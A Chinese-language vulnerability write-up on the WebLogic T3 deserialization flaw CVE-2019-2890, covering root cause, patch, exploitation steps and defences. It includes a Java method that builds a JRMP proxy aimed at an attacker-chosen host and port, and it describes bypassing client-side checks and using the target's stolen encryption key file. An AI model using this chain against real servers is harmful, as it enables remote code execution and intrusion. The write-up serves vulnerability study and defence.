Weblogic-T3-CVE-2019-2890-Analysis
字数 1363 2025-08-26 22:11:39
Weblogic T3 CVE-2019-2890 漏洞分析与利用教学文档
0x00 漏洞概述
CVE-2019-2890是Weblogic服务器中的一个反序列化漏洞,存在于T3协议中。该漏洞允许攻击者在授权状态下通过构造特殊的T3请求实现远程代码执行。漏洞评级为高危,主要影响Weblogic 10.3.6和12版本。
0x01 漏洞原理
关键点分析
-
反序列化入口:漏洞存在于
PersistenContext类的readSubject方法中 -
触发路径:
- 读取var1中的反序列化数据
- 调用
EncryptionUtil.decrypt方法进行解密 - 触发反序列化操作
-
补丁对比:
- 修复方式:在
resolveClass或resolveProxyClass处增加黑名单校验 - 与之前修复的T3反序列化漏洞类似(如
StreamMessageImpl、MarshalledObject等)
- 修复方式:在
0x02 环境准备
所需JAR文件
Weblogic 10.3.6环境需要以下JAR文件(12版本可能名称不同):
com.bea.core.logging_1.9.0.0.jar
com.bea.core.management.core_2.9.0.1.jar
com.oracle.core.weblogic.msgcat_1.2.0.0.jar
cryptoj.jar
glassfish.jaxb_1.1.0.0_2-1-14.jar
weblogic.jar
wlthint3client.jar
0x03 漏洞利用步骤
1. 重写PersistenContext类
需要绕过PersistenContext中的安全检查:
// 原代码中有if检查会抛出NotSupportedException异常
if (...) {
throw new com.bea.core.security.managers.NotSupportedException();
}
// 解决方案:注释掉这个if检查
2. 改造writeSubject方法
将正常的写入对象替换为恶意对象(建议使用JRMP对象):
public static Registry getObject(String command) throws Exception {
int sep = command.indexOf(58);
String host;
int port;
if (sep < 0) {
port = (new Random()).nextInt(65535);
host = command;
} else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID((new Random()).nextInt());
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(
ysoserial.payloads.JRMPClient.class.getClassLoader(),
new Class[]{Registry.class},
obj
);
return proxy;
}
3. 处理加密问题
需要解决两个加密相关的问题:
问题1:KernelStatus.isServer()检查
if (KernelStatus.isServer()) {
var5 = EncryptionUtil.encrypt(var5);
}
解决方案1:
KernelStatus.setIsServer(true); // 设置状态为true
解决方案2(更直接):
重写EncryptionUtil类,将getEncryptionService方法改为public:
public static EncryptionService getEncryptionService() {
return ...;
}
4. 加密Key处理
需要目标Weblogic的SerializedSystemIni.dat文件:
- 从目标Weblogic服务器获取该文件
- 在本地创建security目录
- 将文件放入该目录
5. 解决序列化卡死问题
修改SubjectManager类的检查:
// 原检查
private static final boolean ceClient = "true".equalsIgnoreCase(
System.getProperty("com.bea.core.internal.client", "false")
);
// 解决方案
System.setProperty("com.bea.core.internal.client", "true");
0x04 漏洞修复方案
Oracle官方修复方式:
- 在
resolveClass处增加黑名单检查 - 与之前修复的其他T3反序列化漏洞采用相同策略
0x05 调试记录
关键调试点
-
反序列化流程:
PersistenContext.readSubject()EncryptionUtil.decrypt()- 最终触发恶意对象反序列化
-
加密流程:
- 注意
SerializedSystemIni.dat的加载过程 - 加密服务的初始化过程
- 注意
-
绕过检查:
KernelStatus.isServer()SubjectManager.getSubjectManager()
0x06 漏洞验证
成功利用后将可执行任意代码,例如:
- 弹出计算器(Windows)
- 建立反向shell
- 执行系统命令
0x07 参考建议
-
防护措施:
- 及时安装Oracle官方补丁
- 限制T3协议的外部访问
- 使用Weblogic最新版本
-
检测方法:
- 检查是否存在
SerializedSystemIni.dat泄露 - 监控异常T3请求
- 检查是否存在
-
研究建议:
- 分析Weblogic历史T3反序列化漏洞
- 研究不同版本间的补丁差异
- 探索无文件利用方式
附录:完整利用代码结构
Weblogic_CVE-2019-2890_Exploit/
│
├── lib/ # 所需JAR文件
│ ├── weblogic.jar
│ ├── cryptoj.jar
│ └── ...
│
├── security/ # 加密文件目录
│ └── SerializedSystemIni.dat
│
└── src/ # 源代码
├── PersistenContext.java # 修改后的类
├── EncryptionUtil.java # 修改后的工具类
└── Exploit.java # 主利用类